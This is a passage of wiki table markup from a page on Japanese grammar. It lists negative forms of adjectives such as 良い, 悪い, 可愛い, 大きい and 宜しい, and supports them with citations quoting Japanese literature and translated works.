| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be good|良からん|yokaran}}<br>{{#invoke:nihongo|nihongo_krt||良からぬ|yokaranu}}<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E8%89%AF%E3%81%8B%E3%82%89%E3%81%AC-653608|script-title=ja:良からぬ|script-work=ja:コトバンク}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:新型コロナウイルスは、ソーシャルディスタンスよろしくで、日本ならではの同調圧力が良からぬ方向にはたらかないか、非常に危惧しています。|page=68|url=https://www.jstage.jst.go.jp/article/jais/22/3/22_67/_pdf|last=Yamada|first=Yūhei|script-title=ja:コロナ禍に実施したアンケート調査からの気づき ~多様な声を大切に~|script-journal=ja:福祉のまちづくり研究|volume=22|number=3|year=2020}}</ref><br>{{#invoke:nihongo|nihongo_krt||良からず|yokarazu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:だが、両親が殺されたあと、孤児院の者達ほ全て師であるスイセンによって里親を探されたはずだ。全員、身元ははっきりとしており後ろ暗い背景は何もなかったのだ。まさか、師が<span style="text-emphasis:sesame">良からずに</span>子供達を託すはずがない。|script-title=ja:転生ババァは見過ごせない! ~元悪徳女帝の二周目ライフ~|volume=5|date=23 August 2024|publisher=AlphaPolis|last=Nakanomura|first=Ayasuke}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be bad|悪い|warui}}<br>{{#invoke:nihongo|nihongo_krt||悪かる|warukaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|悪}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|い}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|悪}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|悪}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be bad|悪くない|waruku nai}}<br>{{#invoke:nihongo|nihongo_krt||悪うない|warū nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「何言うてますのや。あんたは少しも悪うない。ただ、ご両親や親戚のお人らのために、自分の人生を<ruby>捧<rp>(</rp><rt>ささ</rt><rp>)</rp></ruby>げてきたんやないですか。誰もあんたを責めたりはせえへん。美都子を生んだ、うちの責任や」<br>「もも吉こそ、なんも悪うない。悪うないのに、神様も仏様もなんでこないな仕打ちされるんやろか。まったく世の中いうんは、不条理やなあ」|script-title=ja:京都祇園もも吉庵のあまから帖|volume=9|last=Shiganai|first=Yasuhiro|date=8 July 2024|isbn=978-4-569-90418-4|publisher=PHP Institute|location=[[Kōtō]], Tokyo}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|悪か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|悪か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be bad|悪からん|warukaran}}<br>{{#invoke:nihongo|nihongo_krt||悪からぬ|warukaranu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:手塩にかけた何十種類もの腸詰は、ヨッパにとっては自分の子供か分身のようなもので、知らぬ人間ではない、婿たちの商いとはいえ、目の届かぬところでそれが売られているというのが気になってならなかった。かといって自分が客になってみたところで、本当のところが見えるとも思われず、市場通りに来る馴染みに、それとなく尋ねているつもりで根掘り葉掘り、悪からぬ評判もどうやら世辞ではないとようやく<ruby>得<rp>(</rp><rt>とく</rt><rp>)</rp></ruby><ruby>心<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>が行き、胸をなで下ろしている。|script-chapter=ja:第九章 こともなし|script-title=ja:幻想建築術|title=ARCHITECTŪRA PHANTASTICA|series=PHP{{#invoke:lang|lang|ja|文芸文庫}}|last=Shinoda|first=Mayumi|date=29 September 2011|publisher=PHP Institute|location=[[Kōtō]], Tokyo|isbn=978-4-569-67727-9}}</ref><br>{{#invoke:nihongo|nihongo_krt||悪からず|warukarazu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:ペレックもこの遊戯を悪からず思っているようだ。|p=208|last=Sano|first=Arisa|script-journal=ja:慶應義塾大学日吉紀要. フランス語フランス文学|number=81|date=October 2025|script-title=ja:ピエール・ジュルド『闘牛士を剝製にする』 ─第二章:ちぐはぐさの意味論(翻訳)─|title=Pierre Jourde, Empailler le toréador : chap. II : sémantique de l’incongru (traduction)|publisher={{#invoke:lang|lang|ja|慶應義塾大学日吉紀要刊行委員会}}|url=https://koara.lib.keio.ac.jp/xoonips/modules/xoonips/download.php?koara_id=AN10030184-20251031-0185}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be adorable|可愛い|kawaii/kawayui}}<br>{{#invoke:nihongo|nihongo_krt||可愛かる|kawaikaru/kawayukaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|かわ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|いい}}</span>'''<br>{{#invoke:lang|lang|ja|かわゆ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|い}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|かわい}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|かわゆ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|かわ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ゆう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be adorable|可愛くない|kawaiku/kawayuku nai}}<br>{{#invoke:nihongo|nihongo_krt||可愛うない|kawayū nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:父は船の製造には携わっていない。やはり造船所に併設されていた、重工業部門のエンジニアだった。出産の報に職場から駆けつけ、泣き叫んでいる供を眺め、母と顔を見合わせて、<br>「あんまり<ruby>可愛<rp>(</rp><rt>かわゆ</rt><rp>)</rp></ruby>うないね」と笑ったそうだ。|script-chapter=ja:窓あかりが星になる|script-title=ja:<ruby>音楽<rp>(</rp><rt>おんがく</rt><rp>)</rp></ruby>は<ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby>も<ruby>与<rp>(</rp><rt>あた</rt><rp>)</rp></ruby>えてくれない|last=Tsuhara|first=Yasumi|publisher=Gentosha|date=22 May 2014}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「もう嫁にやってしまう算段をつけるとは、父者はオルがかわゆうないのかの?」<br>可愛い<ruby>姪<rp>(</rp><rt>めい</rt><rp>)</rp></ruby>の<ruby>嫁<rp>(</rp><rt>とつ</rt><rp>)</rp></ruby>ぎ先を決めてしまった父に、センザは文句を言った。<br>「かわゆいぞぇ。女子を嫁がせるのは、寂しいものじゃ、何人嫁がせようと慣れぬのう。なれど、それとこれは別じゃ。苦労せぬよう、文句のつけようもないほど躾けてくれようぞ。それが送り出す者の務めぞえ」|script-title=ja:ダィテス領攻防記|volume=6|last=Makihara|first=Nodoka|date=1 December 2015|publisher=AlphaPolis}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|可愛か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|可愛か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be adorable|可愛からん|kawaikaran/kawayukaran}}<br>{{#invoke:nihongo|nihongo_krt||可愛からぬ|kawaikaranu<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『およそ、<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>として<ruby>子<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>の<ruby>可<rp>(</rp><rt>か</rt><rp>)</rp></ruby><ruby>愛<rp>(</rp><rt>はい</rt><rp>)</rp></ruby>からぬものがござりませうか、[…]』|url=https://dl.ndl.go.jp/pid/920405/1/114|p=216|script-chapter=ja:武士道|script-title=ja:地獄繪巻|first=Shin|last=Hasegawa|publisher=Shunyodo|date=7 November 1924|location=[[Nihonbashi]], Tokyo}}</ref>/kawayukaranu}}<br>{{#invoke:nihongo|nihongo_krt||可愛からず|kawaikarazu/kawayukarazu<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:畢竟、わが身をかはゆがる樣で、實はかはゆからず、却つて植木をかはゆがることを知つてゐるは、なんと無分別ではないか。|p=80|url=https://dl.ndl.go.jp/pid/909653/1/44|script-chapter=ja:第五講|script-title=ja:國文抄本 鳩翁道話|first=Kyūō|last=Shibata|editor-first=Kazutoshi|editor-last=Ueda|publisher=Dainippon Tosho|date=26 October 1912|location=[[Kyōbashi, Tokyo]]}}</ref>}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be large|大きい|ōkii}}<br>{{#invoke:nihongo|nihongo_krt||大きかる|ōkikaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|大き}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|い}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|大き}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|大き}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ゅう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be large|大きくない|ōkiku nai}}<br>{{#invoke:nihongo|nihongo_krt||大きゅうない|ōkyū nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:何じゃ、思とった程大きゅうないのォ……|p=11|script-chapter=ja:野望の軍団 第一部|edition={{#invoke:lang|lang|ja|愛蔵版}}|script-title=ja:日本極道史 昭和編|volume=15|publisher=Goma Books|date=4 February 2022|first=Kazuhiko|last=Murakami}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|大きか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|大きか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be large|大きからん|ōkikaran}}<br>{{#invoke:nihongo|nihongo_krt||大きからぬ|ōkikaranu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それからあとはおだやかな海につづいてさして大きからぬ島がわれわれを迎えた。この島は船着きもらくで住民もいたが、そこの土人は「<ruby>牛頭族<rp>(</rp><rt>プウケパロイ</rt><rp>)</rp></ruby><sup>[''[[sic]]'']</sup>」という蛮民で角を生やし、ちょうどわが国で<ruby>塑<rp>(</rp><rt>つく</rt><rp>)</rp></ruby>るところのミノタウロス〔クレタ島のいわゆる迷宮ラビュリントにいた牛頭の怪人〕の姿をしていた。|trans-quote=Later, a calm sea and then an island not too large appeared before us. The island was easily accessible by boat and inhabited, though its natives were a savage race called the “Bucephali” (Bullheads), who grew horns and bore the exact form of the Minotaur (a bull-headed creature that dwelled in a maze so called the Labyrinth on Crete) as depicted in our land.|quote=Ἐντεῦθεν ἡμας ὑπεδέχετο πέλαγος προσηνὲς καὶ νῆσος οὐ μεγάλη, εὐπρόσιτος, συνοικουμένη· ἐνέμοντο δὲ αὐτὴν ἄνθρωποι ἄγριοι, Βουκέφαλοι, κέρατα ἔχοντες, οἷον παρ᾽ ἡμῖν τὸν Μινώταυρον ἀναπλάττουσιν.|script-chapter=ja:二|chapter=ΑΛΗΘΩΝ ΔΙΗΓΗΜΑΤΩΝ Β|trans-chapter=II|script-title=ja:本当の話
|title=ΑΛΗΘΩΝ ΔΙΗΓΗΜΑΤΩΝ|trans-title=[[A True Story|True Stories]]|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|translator-first=Shigeichi|translator-last=Kure|translator-first2=Harushige|translator-last2=Kōzu|date=12 November 2021|orig-date=1 August 1989|author=[[Lucian]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||大きからず|ōkikarazu}}<ref>{{#invoke:cite|book|lang=ja|trans-quote=The encounter was very superficial and offhand.<br>Kōmura Kazunari. Second-year medical student.<br>Average Japanese height, fairly slender build. Single eyelids, a nose neither tall nor short, under which is a mouth neither big nor small.|script-quote=ja:出会いは、あまりに軽薄でお手軽だった。<br><ruby>香<rp>(</rp><rt>こう</rt><rp>)</rp></ruby><ruby>村<rp>(</rp><rt>むら</rt><rp>)</rp></ruby>和成。医大の二年生。<br>日本人の平均身長でやや細身の体型。<ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby><ruby>重<rp>(</rp><rt>え</rt><rp>)</rp></ruby><ruby>瞼<rp>(</rp><rt>まぶた</rt><rp>)</rp></ruby>の目に、高からず低からずの鼻の下には大きからず小さからずの口。|script-chapter=ja:1|title=the affection|script-title=ja:恋情|last=Takaoka|first=Mizumi|last2=Minase|first2=Masara|series={{#invoke:lang|lang|ja|幻冬舎ルチル文庫}}|publisher=Gentosha Comics|date=15 September 2009}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be good|宜しい|yoroshii}}<br>{{#invoke:nihongo|nihongo_krt||宜しかる|yoroshikaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|宜し}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|い}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|宜し}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|宜し}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ゅう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be good|宜しくない|yoroshiku nai}}<br>{{#invoke:nihongo|nihongo_krt||宜しゅうない|yoroshū nai}}<ref>{{#invoke:cite|book|lang=ja|quote=Denn Brunhild rührte, wie ſie droben ſtand,<br>Jn aller ihrer Schönheit nicht mein Herz.<br>Und wer da fühlt, daß er nicht werben kann,<br>Der grüßt auch nicht.<br>[…]<br><small style=display:block;text-align:center>'''Volker''' tritt auf.</small>'''Volker.''' Jch hatte Krankendienſt! — Die Luft bei euch<br>Jſt nicht geſund. Hier brechen Fieber aus,<br>Die über zwanzig Jahre ruhig ſchliefen,<br>Und das ſo heftig, wie ich’s nie geſehn?|script-quote=ja:何故と言ふに、城壁の上に立つたブルーンヒルドの姿はいかにも美しかつたが、どうしたものやら、わしの心を動かすまでではなかつたのぢや。其處で、嫁にしやうといふ氣もなうて相手になるのは甚だよろしうないと思うた譯ぢや。<br>[…]<br>'''胡弓手'''。 <small>(登場。)</small> 病人の看護をしてゐたのぢや。――御當家はどうも空氣がよろしうないと見える。此處へ參ると二十才を過ぎるまで潜伏𦤶しておつた熱病が急に爆發𦤶す。其爆發がまた非常に猛烈ぢや。|pp=35, 248|url=https://dl.ndl.go.jp/pid/968409/1/36|trans-title=[[The Nibelungs (Hebbel)|The Nibelungs]]|script-title=ja:ニーベルンゲン|title=Die Nibelungen. Ein deutſches Trauerſpiel in drei Abteilungen|authorlink=Friedrich Hebbel|first=Christian Friedrich|last=Hebbel|translator-first=Tsugio|translator-last=Sekiguchi|publisher=Seika Shoin|date=13 November 1921|location=[[Ushigome]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「舞雅殿の媛ならば、きっと東宮が欲しいと申すことじゃろう。いや、東宮だけではないかもしねぬ。いずれにしても、それは表だって宜しゅうない。麻呂が見定めて、諭すことにする。どうじゃ?」|script-chapter=ja:番外編 燃ゆる恋、散る花の如く|script-title=ja:乱れる愛、咽び泣く 闇の花|volume=3|series={{#invoke:lang|lang|ja|祠☆闘士シリーズ}}|last=Asahi|first=Yurine|publisher=Reposition|location=[[Kōtō]], Tokyo|date=25 December 2015}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|宜しか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|宜しか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be good|宜しからん|yoroshikaran}}<br>{{#invoke:nihongo|nihongo_krt||宜しからぬ|yoroshikaranu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:選ばれたる群は、實際、嚴格な人々の甚だ驚くに違ひ無い、極めて雜多な性質を示してゐた。その中には、自重する猶太人の交際しさうにも無かつた人々があつた。恐らく物識りで、形式主義の、自己の表面の道德に自惚れてゐる有產階級に於けるよりも、普通の尺度以外にあつたこの社會に、イエスは多くの優れたところと、情味とを見出してゐたのであらう。パリサイ人は、モオゼの掟を誇張して、自分達よりも嚴格で無い人々と接觸することを、汚れることであるやうに信じてゐた。食事の時、その人は、殆ど印度のそれにひとしい兒戯のやうな階級的差別に達してゐた。これらの宗敎的感情のあはれな迷夢を侮蔑して、進んでその犧牲となつてゐる人々の宅に出掛けてイエスは食事をした。彼の傍には、所謂宜しからぬ生活の人々が居るのを見かけることがあつた。その宜しからぬ生活だけはあつても、恐らくその人々には、慥に僞信心の滑稽さはなかつたことであらう。|quote=La troupe élue offrait en effet un caractère fort mêlé et dont les rigoristes devaient être très-surpris. Elle comptait dans son sein des gens qu’un juif qui se respectait n’eût pas fréquentés. Peut-être Jésus trouvait-il dans cette société en dehors des règles communes plus de distinction et de cœur que dans une bourgeoisie pédante, formaliste, orgueilleuse de son apparente moralité. Les pharisiens, exagérant les prescriptions mosaïques, en étaient venus à se croire souillés par le contact des gens moins sévères qu’eux; on touchait presque pour les repas aux puériles distinctions des castes de l’Inde. Méprisant ces misérables aberrations du sentiment religieux, Jésus aimait à dîner chez ceux qui en étaient les victimes; on voyait à table à côté de lui des personnes que l’on disait de mauvaise vie, peut-être pour cela seul, il est vrai, qu’elles ne partageaient pas les ridicules des faux dévots.|trans-quote=The chosen group, indeed, displayed a most motley character, which doubtlessly came as a great surprise to the rigorists. Amongst them were those with whom no self-respecting Jew would associate. Maybe Jesus found more distinction and heart in this society outside the common rules, than in a bourgeoisie that was pretentious, formalistic, proud of its own apparent morality. The Pharisees, exaggerating the Mosaic prescriptions, believed that it was defiling to come into contact with those less strict than themselves. At mealtimes, they almost reached the puerile caste distinctions of India. Despising these miserable delusions of religious sentiment, Jesus would willingly come to dine at the homes of those who had become victimized by them. One would catch sight by his side of people whose lives were claimed to be not good, maybe only for the fact that they did not share the absurdity of the falsely devout.|script-chapter=ja:第十一章 <small>貧者の天下としての神の王國</small>|trans-chapter=Chapter XI. <small>The Kingdom of God as the Land of the Poor</small>|chapter=Chapitre XI. Le royaume de Dieu conçu comme l’avénement des pauvres.|url=https://dl.ndl.go.jp/pid/1040967/1/135|p=153|script-title=ja:耶蘇|trans-title=Jesus|title=Vie de Jésus|authorlink=Joseph Ernest Renan|first=Joseph Ernest|last=Renan|translator-last=Hirose|translator-first=Tetsushi|publisher=Tokyodo|date=20 December 1947|location=[[Chiyoda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|quote=‘From what passes in our house,’ said Mr Tappertit, ‘I am aware, sir, that your son keeps company with a young lady against your inclinations. Sir, your son has not used me well.’|script-quote=ja:「手前の家の中で起こりましたことから存じておりますが、あなた様のご子息はあなた様の意に逆らって、さる若い令嬢とお付き合いをなさっていらっしゃいます。ご子息は手前に対しまして、よろしからぬ態変をおとりになりました」|script-chapter=ja:二四|chapter=Chapter XXIV|title=[[Barnaby Rudge]]: A Tale of the Riots of ’Eighty|script-title=ja:バーナビー・ラッジ|volume=1|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|date=27 May 2022|translator-first=Shigeru|translator-last=Koike|authorlink=Charles Dickens|first=Charles John Huffam|last=Dickens}}</ref><br>{{#invoke:nihongo|nihongo_krt||宜しからず|yoroshikarazu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>先<rp>(</rp><rt>せん</rt><rp>)</rp></ruby><ruby>夜<rp>(</rp><rt>や</rt><rp>)</rp></ruby>ダントンは、<ruby>立<rp>(</rp><rt>りつ</rt><rp>)</rp></ruby><ruby>法<rp>(</rp><rt>ぱふ</rt><rp>)</rp></ruby><ruby>院<rp>(</rp><rt>ゐん</rt><rp>)</rp></ruby>の<ruby>國<rp>(</rp><rt>こく</rt><rp>)</rp></ruby><ruby>防<rp>(</rp><rt>ばう</rt><rp>)</rp></ruby><ruby>委<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby><ruby>員<rp>(</rp><rt>ゐん</rt><rp>)</rp></ruby><ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>に<ruby>於<rp>(</rp><rt>おい</rt><rp>)</rp></ruby>て、<ruby>自餘<rp>(</rp><rt>ほか</rt><rp>)</rp></ruby>の<ruby>大<rp>(</rp><rt>だい</rt><rp>)</rp></ruby><ruby>臣<rp>(</rp><rt>じん</rt><rp>)</rp></ruby>が<ruby>皆<rp>(</rp><rt>みな</rt><rp>)</rp></ruby><ruby>都<rp>(</rp><rt>みやこ</rt><rp>)</rp></ruby>を<ruby>他<rp>(</rp><rt>た</rt><rp>)</rp></ruby>へ<ruby>移<rp>(</rp><rt>うつ</rt><rp>)</rp></ruby>すことを<ruby>善<rp>(</rp><rt>よ</rt><rp>)</rp></ruby>しとした<ruby>時<rp>(</rp><rt>とき</rt><rp>)</rp></ruby>に、<ruby>斷<rp>(</rp><rt>だん</rt><rp>)</rp></ruby><ruby>乎<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>として<ruby>主<rp>(</rp><rt>しゆ</rt><rp>)</rp></ruby><ruby>張<rp>(</rp><rt>ちやう</rt><rp>)</rp></ruby>すらく、<ruby>巴<rp>(</rp><rt>パ</rt><rp>)</rp></ruby><ruby>里<rp>(</rp><rt>リイ</rt><rp>)</rp></ruby>を<ruby>去<rp>(</rp><rt>さ</rt><rp>)</rp></ruby>つて<sup>(2)</sup>サウムル(Saumur)に<ruby>移<rp>(</rp><rt>うつ</rt><rp>)</rp></ruby>るは<ruby>斷<rp>(</rp><rt>だん</rt><rp>)</rp></ruby>じて<ruby>宜<rp>(</rp><rt>よろ</rt><rp>)</rp></ruby>しからず、<ruby>我<rp>(</rp><rt>われ</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〱</rt><rp>)</rp></ruby>は<ruby>巴<rp>(</rp><rt>パ</rt><rp>)</rp></ruby><ruby>里<rp>(</rp><rt>リイ</rt><rp>)</rp></ruby>に<ruby>蹈<rp>(</rp><rt>ふみ</rt><rp>)</rp></ruby><ruby>留<rp>(</rp><rt>とゞ</rt><rp>)</rp></ruby>まつて、<ruby>死<rp>(</rp><rt>し</rt><rp>)</rp></ruby><ruby>守<rp>(</rp><rt>しゆ</rt><rp>)</rp></ruby>し、<ruby>敵<rp>(</rp><rt>てき</rt><rp>)</rp></ruby>をして<ruby>肝膽<rp>(</rp><rt>きも</rt><rp>)</rp></ruby>を<ruby>寒<rp>(</rp><rt>さむ</rt><rp>)</rp></ruby>からしむべき<ruby>態<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>度<rp>(</rp><rt>ど</rt><rp>)</rp></ruby>を<ruby>取<rp>(</rp><rt>と</rt><rp>)</rp></ruby>らねばならぬと。<ruby>是<rp>(</rp><rt>これ</rt><rp>)</rp></ruby>よりして<ruby>此<rp>(</rp><rt>この</rt><rp>)</rp></ruby>『<ruby>肝膽<rp>(</rp><rt>きも</rt><rp>)</rp></ruby>を<ruby>寒<rp>(</rp><rt>さむ</rt><rp>)</rp></ruby>からしむる』 “faire peur” といふ<ruby>語<rp>(</rp><rt>ご</rt><rp>)</rp></ruby>は、<ruby>全<rp>(</rp><rt>ぜん</rt><rp>)</rp></ruby><ruby>國<rp>(</rp><rt>こく</rt><rp>)</rp></ruby>一<ruby>般<rp>(</rp><rt>ぱん</rt><rp>)</rp></ruby>に<ruby>傳<rp>(</rp><rt>でん</rt><rp>)</rp></ruby><ruby>唱<rp>(</rp><rt>しやう</rt><rp>)</rp></ruby>せらるゝ<ruby>者<rp>(</rp><rt>もの</rt><rp>)</rp></ruby>となつた。|quote=—Danton, the other night, in the Legislative Committee of General Defence, when the other Ministers and Legislators had all opined, said, It would not do to quit Paris, and fly to Saumur; that they must abide by Paris; and take such attitude as would put their enemies in fear,—''faire peur;'' a word of his which has been often repeated, and reprinted—in italics.<sup>3</sup>|p=44|url=https://dl.ndl.go.jp/pid/1226272/1/30|chapter=CHAPTER IV. <span style=font-variant:small-caps>september in paris.</span>|script-chapter=ja:<ruby>第<rp>(</rp><rt>だい</rt><rp>)</rp></ruby>四<ruby>章<rp>(</rp><rt>しやう</rt><rp>)</rp></ruby> <ruby>巴<rp>(</rp><rt>パ</rt><rp>)</rp></ruby><ruby>里<rp>(</rp><rt>リイ</rt><rp>)</rp></ruby>に<ruby>於<rp>(</rp><rt>おけ</rt><rp>)</rp></ruby>る九<ruby>月<rp>(</rp><rt>ぐわつ</rt><rp>)</rp></ruby><ruby>虐<rp>(</rp><rt>ぎやく</rt><rp>)</rp></ruby><ruby>殺<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>|trans-chapter=Chapter IV. The September Massacre in Paris|script-title=ja:カーライル佛國革命史|trans-title=[[The French Revolution: A History|Carlyle’s History of the French Revolution]]|title=THE FRENCH REVOLUTION: <small>A HISTORY.</small>|volume=3|authorlink=Thomas Carlyle|first=Thomas|last=Carlyle|date=30 June 1927|editor={{#invoke:lang|lang|ja|國民文庫刊行會}}|publisher={{#invoke:lang|lang|ja|國民文庫刊行會}}|location=[[Kanda, Tokyo]]|translator-first=Gorō|translator-last=Takahashi}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:摩訶迦葉の僧の中に年老いて後ち出家した<ruby>須<rp>(</rp><rt>ス</rt><rp>)</rp></ruby><ruby>跋<rp>(</rp><rt>バ</rt><rp>)</rp></ruby><ruby>陀<rp>(</rp><rt>ド</rt><rp>)</rp></ruby><ruby>羅<rp>(</rp><rt>ラ</rt><rp>)</rp></ruby>といふ一人の比丘が居た。(同名の所謂「如來最後の弟子」とは異人なり)須跋陀羅は比丘に向つていふよう「友よ歎き悲しむ事を止めよ。我等はいま幸に大苦行者の手を逭るゝ事を得た。彼は、そは汝によし、そは汝によろしからず、といつて我等を苦しめた。いま我等は我等の好む處に從つて行爲するを得、我等の好まざる處我等之を爲さざるを得るに至つた」と云つた。此等の事柄は後に於ける僧團の分裂を解明するものであり同時に傳承の正確を意味するものである。|quote=Unter den Mönchen des Mahākāśyapa befand ſich auch ein gewiſſer Subhadra, der erſt in hohem Alter Mönch geworden war und nicht verwechſelt werden darf mit dem gleichnamigen „letzten perſönlichen Jünger des Herrn“ (S. 44). Dieſer Subhadra ſprach zu den Mönchen: „Hört auf, ihr Brüder, mit Klagen und Jammern! Wir ſind den großen Asketen glücklich losgeworden. Er quälte uns, indem er ſagte: ‚das ſchickt ſich für euch, das ſchickt ſich für euch nicht‘. Jetzt werden wir tun, was uns beliebt, und was uns nicht beliebt, das werden wir nicht tun.“ Solche Vorfälle machen erklärlich, daß ſich die Gemeinder ſpäter ſo ſchnell ſpaltete, zugleich zeigen ſie aber auch die Treue der Überlieferung.|trans-quote=Amongst the monks of [[Mahākāśyapa]] there was a [[bhikkhu]] named Subhadra who entered the clergy later in his old age. (The so-called “last disciple of [[Tathāgata]]” of the same name was a different person) Subhadra turned to the bhikkhus and said, “Brothers, stop crying and whining. We have gladly escaped from the hands of the great ascetic. He tormented us by saying, ‘This is good for you, this is not good for you.’ Now, we get to do what we like, and what we do not like we get not to do.” Such incidents explain the later divide in the [[sangha]], but at the same time signify the correctness of the tradition.|p=73|url=https://dl.ndl.go.jp/pid/1037373/1/43|script-chapter=ja:'''第三章 佛陀の生涯'''|chapter=III. Das Leben des Buddha.|trans-chapter=Chapter III. The Life of [[Buddha]]|script-title=ja:佛陀の生涯と思想|trans-title=Life and Thought of Buddha|title=Leben und Lehre des Buddha|translator-last=Suzuki|translator-first=Shigenobu|date=15 January 1941|publisher=Chōbunkaku|location=[[Koishikawa]], Tokyo|authorlink=Richard Pischel|first=Richard|last=Pischel}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be alike|同じい|onajii}}<br>{{#invoke:nihongo|nihongo_krt||同じかる|onajikaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|同じ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|い}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|同じ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|同じ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ゅう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
